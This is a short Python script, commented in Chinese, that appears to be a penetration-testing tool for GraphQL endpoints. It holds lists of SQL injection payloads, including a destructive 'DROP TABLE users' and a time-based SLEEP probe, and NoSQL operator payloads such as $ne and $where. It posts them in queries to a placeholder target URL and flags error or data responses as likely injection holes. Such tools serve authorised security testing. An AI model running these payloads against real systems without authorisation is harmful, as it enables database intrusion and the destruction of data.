1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| #!/usr/bin/env python3
"""
GraphQL Injection Tester
測試 SQL 和 NoSQL 注入漏洞
"""
import requests
import json
SQL_PAYLOADS = [
"' OR '1'='1",
"' OR '1'='1'--",
"1; DROP TABLE users--",
"' UNION SELECT NULL--",
"1' AND SLEEP(5)--",
"admin'--",
]
NOSQL_PAYLOADS = [
'{"$gt": ""}',
'{"$ne": null}',
'{"$regex": ".*"}',
'{"$where": "1==1"}',
]
def test_injection(url: str, query_template: str, param_name: str):
"""測試注入漏洞"""
headers = {"Content-Type": "application/json"}
print("[*] 測試 SQL 注入...")
for payload in SQL_PAYLOADS:
query = query_template.replace("{{PAYLOAD}}", payload)
try:
response = requests.post(
url,
json={"query": query},
headers=headers,
timeout=10
)
result = response.json()
# 檢查是否有異常回應
if "errors" in result:
error_msg = result["errors"][0].get("message", "")
if any(keyword in error_msg.lower() for keyword in ["sql", "syntax", "query"]):
print(f"[!] 可能的 SQL 注入: {payload}")
print(f" 錯誤訊息: {error_msg}")
elif "data" in result:
print(f"[!] Payload 執行成功: {payload}")
except requests.exceptions.Timeout:
print(f"[!] 時間型注入可能成功: {payload}")
except Exception as e:
pass
print("\n[*] 測試 NoSQL 注入...")
for payload in NOSQL_PAYLOADS:
query = query_template.replace("{{PAYLOAD}}", payload)
try:
response = requests.post(
url,
json={"query": query},
headers=headers,
timeout=10
)
result = response.json()
if "data" in result and result["data"]:
print(f"[!] NoSQL 注入可能成功: {payload}")
except Exception as e:
pass
if __name__ == "__main__":
target_url = "https://target.com/graphql"
# 自訂查詢模板
query_template = '''
query {
user(id: "{{PAYLOAD}}") {
id
name
}
}
'''
test_injection(target_url, query_template, "id")
|